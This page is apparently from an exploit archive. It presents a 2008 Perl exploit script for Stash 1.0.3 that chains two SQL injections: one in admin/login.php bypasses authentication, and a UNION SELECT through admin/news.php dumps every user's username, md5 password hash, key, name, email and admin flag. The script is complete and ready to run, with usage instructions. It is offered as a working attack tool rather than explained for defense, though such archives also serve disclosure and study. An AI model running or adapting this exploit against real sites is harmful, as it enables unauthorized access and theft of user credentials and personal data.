what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

stash103exp.txt

stash103exp.txt
Posted Oct 9, 2008
Authored by Gnix | Site gnix.netsons.org

Stash version 1.0.3 user credential disclosure exploit that leverages a SQL injection vulnerability in admin/login.php.

tags | exploit, php, sql injection
SHA-256 | be55b82a3c8073cbf6d59f024d860dd61658e35b51fd4344d4fa2270fb8b6588

stash103exp.txt

Change Mirror Download
#!/usr/bin/perl -w
#
# User credentials disclosure exploit - stash103exp.pl
#
# Gnix <gnixmail@gmail.com>
# http://gnix.netsons.org
#
# This exploit use an SQL Injection in the file admin/login.php to
# bypass the login, and then an SQL Injection in the admin/news.php
# to extract all the users info. Note: password are crypted with md5.
#
# Output for each user:
# user_id:user_username:user_password:user_key:user_firstname user_lastname:user_email:user_admin
#

use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Cookies;


# Variables
my $cjar = new HTTP::Cookies( file => 'cookies.txt',
autosave => 1,
ignore_discard => 0);
my $agent = new LWP::UserAgent;
$agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM');


# Check argv
if(@ARGV != 3) {
print "[?] Usage : perl stash103exp.pl <stash_dir_address> <admin_username> <table_prefix>\n";
print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n";
exit(1);
}


# Authentication
if(!auth($ARGV[0],$ARGV[1])) {
print "[!] Error during the authentication!\n";
exit(1);
}


# Extract all the user information
my $info = extract_data($ARGV[0],$ARGV[2]);
if(!$info) {
print "[!] Error when extracting data!\n";
exit(1);
}


# Print user information
$_ = $info;
my @users = m/<1>(.+?)<2>/g;
foreach my $user (@users) {
print $user."\n";
}


exit(0);

###########################################################################



# Login as $ARGV[1] and save the PHPSESSID cookie
sub auth
{
my $address = shift;
my $username= shift;

# Login
my $response= $agent->post($address.'admin/login.php',
{username => "' OR user_username = '$username",
password => "any",
submit => "Log in"});

# Save PHPSESSID cookie
$cjar->extract_cookies($response);

return $response->is_redirect();
}



# Inject a query through news.php to extract all the info about every user
sub extract_data
{
my $address = shift;
my $prefix = shift;

my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title, ".
"CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,".
"':',user_firstname,' ', user_lastname,':', user_email,':', user_admin,".
"'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0 ".
"AS news_comment FROM ".$prefix."news, ".$prefix."user";

my $request = new HTTP::Request('GET', $address.'admin/news.php?post='.$query);

$agent->cookie_jar($cjar);
my $response= $agent->request($request);

if($response->is_success()) {
return $response->content();
}
else {
return undef;
}
}

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close